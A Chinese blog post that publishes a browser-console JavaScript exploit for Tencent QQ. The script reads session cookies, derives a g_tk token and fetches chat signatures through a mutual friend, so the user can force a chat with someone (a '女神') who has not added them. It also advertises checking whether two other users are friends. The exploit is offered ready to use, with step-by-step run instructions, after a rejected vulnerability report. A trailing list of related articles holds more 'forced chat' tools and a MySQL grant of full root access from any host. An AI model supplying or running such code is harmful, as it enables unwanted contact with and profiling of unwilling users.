QQ强聊虽然早就变成了一个传说,但现在依然可以实现。

小菜其实早就知道这个漏洞,但是一直没公布,前两天突然来兴致试了试,没想到漏洞依然存在。

然后小菜跑到了乌云漏洞报告平台举报漏洞,但没想到被腾讯鲁莽的否认了,他竟然说漏洞不存在,漏洞不存在,那些截图是怎么来的。。。小菜辛辛苦苦写的漏洞原理,就这么无情的被拒绝了。。。

小菜很失望,既然腾讯这么不负责任,那小菜就把漏洞发出来。

漏洞的具体原理,小菜已经在乌云上阐述了《腾讯QQ强制聊天漏洞》,十分的详细,在这不多说。

为了让读者更方便的利用此漏洞,小菜写了一个js脚本,脚本如下

 (function(exports){

   var chatVO = {
//你的QQ
yourQQ: "20737302",
//你好友的QQ
yourFQQ: "649374916",
//女神的QQ
targetQQ: "20618348",
//女神好友的QQ
targetFQQ: "649374916"
};
var config = {
init: function(){
var skey;
skey = getCookie("skey") || getCookie("rv2") || "";
function getCookie(name){
var r = new RegExp("(?:^|;+|\\s+)" + name + "=([^;]*)"), m = document.cookie.match(r);
return !m ? "" : m[1];
}
function _DJB (str) {
var hash = 5381;
for (var i = 0, len = str.length; i < len; ++i)
hash += (hash << 5) + str.charCodeAt(i);
return hash & 2147483647
}; this.sigURL = this.sigURL.replace("{{t}}",_DJB(skey));
},
sigURL: "http://r.qzone.qq.com/cgi-bin/user/cgi_tmp_talk?qzone_uin={{sender}}&to_uin={{receiver}}&g_tk={{t}}",
chatURL: "tencent://message/?Menu=yes&uin={{sender}}&Service=112&SigT={{sigt}}&SigU={{sigu}}"
};
var util = {
ajax: function(obj){
var xmlHttp; if(obj.async === undefined){
obj.async = true;
} if(window.XMLHttpRequest){
xmlHttp = new XMLHttpRequest();
}else{
xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
} xmlHttp.onreadystatechange=function(){
obj.callback(xmlHttp);
};
xmlHttp.open(obj.type,obj.url,obj.async);
xmlHttp.send();
}
};
var logic = {
getSigU: function (sender,receiver){
var sigu = "";
util.ajax({
url: config.sigURL.replace("{{sender}}",sender).replace("{{receiver}}",receiver),
type: "get",
async: false,
callback: function(xhr){
if(xhr.readyState == 4){
var html = xhr.responseText.replace(/[\n]/g,"");
if(/&SigU=/gmi.test(html)){
sigu = html.split(/&SigU=/m)[1].split(/'/m)[0];
}else{
alert("你和你的好友,好友关系不成立!");
}
}
}
}); return sigu;
},
getSigT: function (sender,receiver){
var sigt = "";
util.ajax({
url: config.sigURL.replace("{{sender}}",sender).replace("{{receiver}}",receiver),
type: "get",
async: false,
callback: function(xhr){
if(xhr.readyState == 4){
var html = xhr.responseText.replace(/[\n]/g,"");
if(/&SigT=/gmi.test(html)){
sigt = html.split(/&SigT=/m)[1].split(/&SigU=/m)[0];
}else{
alert("他和他的好友,好友关系不成立!");
}
}
}
}); return sigt;
},
runChat: function (sender,sigu,sigt) {
exports.location = config.chatURL.replace("{{sender}}",sender).replace("{{sigt}}",sigt).replace("{{sigu}}",sigu);
}
}; config.init(); var sigu = logic.getSigU(chatVO.yourQQ,chatVO.yourFQQ);
var sigt = logic.getSigT(chatVO.targetFQQ,chatVO.targetQQ); logic.runChat(chatVO.targetQQ,sigu,sigt); })(this);

这个脚本,您只需要关注最顶部的四个参数,

  • yourQQ: "20737302",
  • yourFQQ: "649374916",
  • targetQQ: "20618348",
  • targetFQQ: "649374916"

这四个参数缺一不可,而且必须都正确,读者可根据自己的实际情况填写,主要就是女神好友的QQ可能不知道(任意一个好友即可),猜吧!

假如您不知道女神好友的QQ,乱填一个,会提示好友关系不成立,顺便还可以用这个提示测试两个人是不是好友,很实用吧!

   测试的时候忽略了一个问题:女神好友的QQ(targetFQQ),作为中间人,不能随便填,必须同时是你们两个的好友才可以。。。抱歉!!

接下来说说怎么运行这个脚本。

首先要用浏览器打开你的QQ空间,最好使用火狐和谷歌浏览器,然后保持QQ空间是登录状态。

然后在QQ空间的选项卡旁边新建一个选项卡,输入网址:http://r.qzone.qq.com,按回车转到,发现是一片空白,这就对了。

在浏览器上按F12打开控制台,把脚本粘贴到控制台中,运行即可。

为什么要这么做呢。。。登录QQ空间是为了拿到有效的cookie,否则没办法访问腾讯接口,而新建一个选项卡是为了避免跨域问题,同时又可以与登录的QQ空间共享cookie。

其他就没什么了,快动手试试吧!

最新QQ强制聊天代码,同时可判断好友关系的更多相关文章

  1. qq强制聊天工具

    当你想和别人聊天, 别人有不理你的时候可以用上哦!!!特别是情人吵架的时候, 呵呵 复制下面的代码: @echo off title DIY-QQ强制聊天工具color 0a echo. echo.  ...

  2. 微信公众平台中添加qq在线聊天代码

    微信公众平台是个不错的媒体,可以和你的小伙伴们即时交流,但你的小伙伴们是用手机上的微信,打字自然就慢了:有人说用微信网页版,那个也不习惯,再说也不一定所有人都知道网页版微信.(2014.01.22更新 ...

  3. QQ在线聊天代码获取和使用教程

    在网站上挂上悬浮QQ是一种有效的推广方式,QQ正常情况下是不被允许临时会话的,需要加为好友才可以,这样很不友好, 当今每个行业都是有很多人在做,竞争很激烈,对客户的友好是增加订单的有效途径. 地址:h ...

  4. QQ强制视频聊天

    QQ强制视频聊天 http://ike.126.com   现在,使用QQ的用户已经非常多,QQ聊天已经成了大家的家常便饭,除了跟自己和朋友和同事等熟悉的人聊天外,跟陌生的网友聊天也占了相当大的比例, ...

  5. QQ网页强制聊天,微博一键关注

    <!doctype html> <!-- 微博关注需要的js --> <html xmlns:wb="http://open.weibo.com/wb" ...

  6. SignalR快速入门 ~ 仿QQ即时聊天,消息推送,单聊,群聊,多群公聊(基础=》提升)

     SignalR快速入门 ~ 仿QQ即时聊天,消息推送,单聊,群聊,多群公聊(基础=>提升,5个Demo贯彻全篇,感兴趣的玩才是真的学) 官方demo:http://www.asp.net/si ...

  7. 笔记5:QQ群聊天机器人

    之前经常在别人群里看到有自动回复消息的机器人. 功能有好多,可以玩各种游戏.觉得还蛮有意思的.. 于是就去请教别人怎么弄得,但是他们都说得好复杂,好高大上,无非就是不想让别人弄 本人是个不会轻易放弃的 ...

  8. 高仿QQ即时聊天软件开发系列之三登录窗口用户选择下拉框

    上一篇高仿QQ即时聊天软件开发系列之二登录窗口界面写了一个大概的布局和原理 这一篇详细说下拉框的实现原理 先上最终效果图 一开始其实只是想给下拉框加一个placeholder效果,让下拉框在未选择未输 ...

  9. 高仿QQ即时聊天软件开发系列之二登录窗口界面

    继上一篇高仿QQ即时聊天软件开发系列之一开端之后,开始做登录窗口 废话不多说,先看效果,只有界面 可能还有一些细节地方没有做,例如那个LOGO嘛,不要在意这些细节 GIF虽短,可是这做起来真难,好吧因 ...

随机推荐

  1. MySQL相关操作知识

    1.解决客户端联不上MySQL服务器的问题: GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY '' WITH GRANT OPTION; ...

  2. sqlserver表数据导出为insert into语句

    <1>select 'insert into table_name (name,code) values ('''+name+''','''+code+''');' sql_str  fr ...

  3. 同一web系统,不同端口的跨域问题

    部署web系统的时候,发现了跨域问题,子系统是用Iframe嵌入到系统里面的,导致父窗口获取子系统的webService和图片时发现跨域问题,如下图所示:问题1:父窗口获取子系统的对象跨域 原因:用这 ...

  4. .NET Remoting获取配置通道:

    接上文: public static string ChannelManagerUrl        {            get            {                retu ...

  5. Android广播错误.MainActivity$MyReceiver; no empty constructor

    广播的定义,如果是内部类,必须为静态类. 下面总结一下作为内部类的广播接收者在注册的时候需要注意的地方:   1.清单文件注册广播接收者时,广播接收者的名字格式需要注意.因为是内部类,所以需要在内部类 ...

  6. 屏蔽input导致的回车提交事件

    onkeypress="if(event.keyCode == 13) return false;"

  7. 如何使用JS脚本从HTML中分离图片标签与文本,替换文本中指定的内容并加粗(原创)

    var html='ddfsdfsdfdsd dfsdfsdffds<img _src="http://localhost:8490/60E86EA7-FE7B-44BF-8270-4 ...

  8. shell脚本实现数据库自动备份和删除备份

    为了安全起见,我们每天都需要备份数据库,但是备份数据库的时间往往是在凌晨左右,大家都休息,没人使用的时候,这样我们就需要linux系统实现自动备份,即定时自动执行脚本.但是我们又不能让所有的备份一直保 ...

  9. ASP.NET 获取不同frame中的控件

    最近在做网站时遇到一个问题,需要获取不同frame中的控件,请教了一些同事,他们都说是无法取到的, 在网上查找了很多资料,找到了解决方法,现在整理一下当初的解决思路: 1.我需要在mainFrame中 ...

  10. 【java】:解析xml

    ==========================================xml文件<?xml version="1.0" encoding="GB231 ...